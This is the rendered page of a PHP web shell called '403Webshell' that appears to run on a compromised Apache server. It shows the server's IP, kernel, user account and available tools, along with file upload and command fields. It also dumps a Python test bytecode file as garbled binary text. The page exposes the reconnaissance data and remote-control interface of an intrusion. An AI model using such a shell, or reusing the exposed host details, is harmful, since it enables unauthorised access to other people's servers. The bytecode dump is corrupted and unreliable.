403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.217.130
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_repl.cpython-36.opt-1.pyc
3

�w2_��@s�dZddlZddlZddlZddlZddlmZddlmZm	Z	ddl
mZejej
d�dd�ZGd	d
�d
ej�Zedkr�ej�dS)z!Test the interactive interpreter.�N)�dedent)�cpython_only�SuppressCrashReport)�kill_python)�stdout�stderrcOsftjjtjjtj�d�}|ddg}|j|�|jdttj	��}d|d<t
j|ftjt
j||d�|��S)z�Run the Python REPL with the given arguments.

    kw is extra keyword args to pass to subprocess.Popen. Returns a Popen
    object.
    z<stdin>z-Ez-i�envZvt100ZTERM)�
executable�stdinrr)
�os�path�join�dirname�sysr	�extend�
setdefault�dict�environ�
subprocess�Popen�PIPE)rr�args�kwZstdin_fnameZcmd_liner�r�3/opt/alt/python36/lib64/python3.6/test/test_repl.py�
spawn_repls


rc@seZdZedd��ZdS)�TestInteractiveInterpretercCs^d}t|�}|j�}t�}t��|jj|�WdQRXt|�}|jd|�|j|jd�dS)Nz�
            import sys, _testcapi
            1/0
            print('After the exception.')
            _testcapi.set_nomemory(0)
            sys.exit(0)
        sAfter the exception.��x)rr)	r�encoderrr
�writerZassertIn�
returncode)�selfZ
user_input�p�outputrrr�test_no_memory'sz)TestInteractiveInterpreter.test_no_memoryN)�__name__�
__module__�__qualname__rr%rrrrr%sr�__main__)�__doc__rrZunittestr�textwraprZtest.supportrrZtest.support.script_helperrrZSTDOUTrZTestCaserr&�mainrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit